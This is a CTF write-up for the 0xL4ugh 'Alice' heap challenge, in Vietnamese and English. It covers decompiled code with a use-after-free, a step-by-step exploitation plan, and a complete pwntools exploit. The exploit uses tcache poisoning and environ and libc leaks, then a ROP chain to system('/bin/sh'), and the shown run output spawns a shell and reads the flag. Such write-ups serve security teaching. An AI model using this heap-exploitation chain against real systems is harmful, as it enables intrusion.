0xL4ugh CTF V5
Alice
Vulnerability: Vẫn giữ reference sau khi free, dẫn đến use-after-free.
February 8, 2026
•
January 25, 2026
•
Medium

Recon
Mitigation
$ pwn checksec vuln
[*] '/home/hungnt/ctfs/0xl4ugh/alice/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledGLIBC Version
pwndbg> libc
libc version: 2.39
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.39.tar.gzCode
main()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("Not all memories are kind — but we must face them nonetheless.");
while ( 1 )
{
menu();
choice = read_choice();
if ( choice == 5 )
{
puts("Alice closes her eyes and leaves Wonderland...");
exit(0);
}
if ( choice > 5 )
{
LABEL_15:
puts("That choice is not real.");
}
else if ( choice == 4 )
{
forget_memory();
}
else
{
if ( choice > 4 )
goto LABEL_15;
switch ( choice )
{
case 3:
view_memory();
break;
case 1:
create_memory();
break;
case 2:
edit_memory();
break;
default:
goto LABEL_15;
}
}
}
}handlers
int create_memory()
{
int v1; // eax
int choice; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]
printf("Memory index: ");
choice = read_choice();
if ( (unsigned int)choice >= 9 )
return puts(aThatMemoryDoes);
if ( *((_QWORD *)&memories + choice) )
return puts("Something was there already.. may wanna save somewehre else.");
printf("How vivid is this memory? ");
v1 = read_choice();
size = v1;
if ( !v1 || (unsigned __int64)v1 > 0x300 )
return puts("That memory is too distorted to hold.");
*((_QWORD *)&memories + choice) = malloc(v1);
printf("What do you remember? ");
read(0, *((void **)&memories + choice), size);
return puts("As if it happened yesterday...");
}
//----- (00000000000013B8) ----------------------------------------------------
int edit_memory()
{
int choice; // [rsp+4h] [rbp-Ch]
size_t nbytes; // [rsp+8h] [rbp-8h]
printf("Which memory will you rewrite? ");
choice = read_choice();
if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
return puts("I can't get myself to remember what happened that time.");
nbytes = malloc_usable_size(*((void **)&memories + choice));
printf("Rewrite your memory: ");
read(0, *((void **)&memories + choice), nbytes);
return puts("The past bends under your will...");
}
//----- (0000000000001488) ----------------------------------------------------
int view_memory()
{
int choice; // [rsp+Ch] [rbp-4h]
printf("Which memory do you wish to recall? ");
choice = read_choice();
if ( (unsigned int)choice < 9 )
return puts(*((const char **)&memories + choice));
else
return puts("Weird... I don't remember that.");
}
//----- (00000000000014EB) ----------------------------------------------------
int forget_memory()
{
int choice; // [rsp+Ch] [rbp-4h]
if ( free_count > 6 )
return puts("Some memories refuse to fade...");
printf("Which memory will you erase? ");
choice = read_choice();
if ( (unsigned int)choice > 8 || !*((_QWORD *)&memories + choice) )
return puts("Idk.");
free(*((void **)&memories + choice));
++free_count;
return puts("What was that about again?");
}Tại forget_memory(), con trỏ đến memory được free nhưng vẫn giữ reference, nên có lỗ hổng use-after-free.
Solve
Bài này khá straight forward, chỉ cần sắp xếp exploit một chút sao cho số lần dùng malloc và free vừa đủ, theo các bước sau:
- forget rồi view để leak heap base.
- tcache poisoning để kiểm soát luôn cả cái tcache perthread struct ở heap base + 0x10. Muốn tcache entry trỏ đến đâu thì edit phát là được.
- Vì mình chỉ create được tối đa size 0x300, nên mình sẽ tcache poisoning để ghi đè size của chunk nào đó sao cho khi free được đưa vào unsorted bin -> leak libc.
- Sau khi có libc, tcache poisoning để leak stack address qua environ.
- Sau khi có stack address rồi, tcache poisoning phát nữa để ghi đè return address với rop chain là xong.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("vuln_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *edit_memory+121
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "159.89.105.235"
port = 10001
return remote(host, port)
class TcachePerthread:
def __init__(self):
self.num_slots = [0] * 64
self.entries = [0] * 64
def set_count(self, idx, count):
self.num_slots[idx] = count
return self
def set_entry(self, idx, ptr):
self.entries[idx] = ptr
return self
def pack(self):
data = b''
for count in self.num_slots:
data += p16(count)
for entry in self.entries:
data += p64(entry)
return data
p = conn()
def create(idx, size, memory):
slan(p, b'>', 1)
slan(p, b'index', idx)
slan(p, b'memory?', size)
sa(p, b'remember?', memory)
sleep(0.1)
def edit(idx, memory):
slan(p, b'>', 2)
slan(p, b'rewrite?', idx)
sa(p, b'your memory', memory)
sleep(0.1)
def view(idx):
slan(p, b'>', 3)
slan(p, b'recall? ', idx)
def forget(idx):
slan(p, b'>', 4)
slan(p, b'erase?', idx)
msize = 0x300
# Leaking heap base
create(0, msize, b'A')
create(1, msize, b'A')
forget(0)
view(0)
heap_base = leak_bytes(rn(p, 5)) << 12
lg("heap base", heap_base)
# Tcache poisoning to control the entire tcache perthread struct
forget(1)
tcache = heap_base + 0x10
fd = tcache ^ (heap_base >> 12)
edit(1, p64(fd))
create(2, msize, b'A')
memory1 = heap_base + 0x290
# Control tcache to fake memory 1 size
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(0, 1).set_entry(0, memory1)
create(3, msize, controlled_tcache.pack())
# Fake the size
create(4, 0x10, p64(0) + p64(0x621))
# Barrier chunk
create(5, msize, b'A')
# Leak libc base
forget(0)
view(0)
libc.address = leak_bytes(rn(p, 6), 0x203b20)
lg("libc base", libc.address)
environ = libc.symbols['__environ']
lg("environ", environ)
offset_to_environ = 0x18
# Control tcache to leak environ
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(4, 1).set_entry(4, environ - offset_to_environ)
edit(3, controlled_tcache.pack())
# Leak stack address
create(6, 0x50, pad(offset_to_environ))
view(6)
rn(p, offset_to_environ)
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
# Control tcache to overwrite return address of create_memory()
controlled_tcache = TcachePerthread()
controlled_tcache.set_count(8, 1).set_entry(8, stack - 0x158)
edit(3, controlled_tcache.pack())
rop = flat(
pad(8),
libc.address + 0x000000000010f78b, # pop rdi ; ret
binsh(libc),
libc.address + 0x000000000009951f, # nop ; ret
libc.symbols['system']
)
create(7, 0x90, rop)
rr(p, 2)
# Profit
ia(p)$ py solve.py
[+] Opening connection to 159.89.105.235 on port 10001: Done
heap base -> 0x5dafcdbaf000
libc base -> 0x7a270b142000
environ -> 0x7a270b34cd58
stack -> 0x7ffffa6b02b8
[*] Switching to interactive mode
$ ls
flag
vuln
$ cat flag
0xL4ugh{therapy_would've_been_easier_548af1c}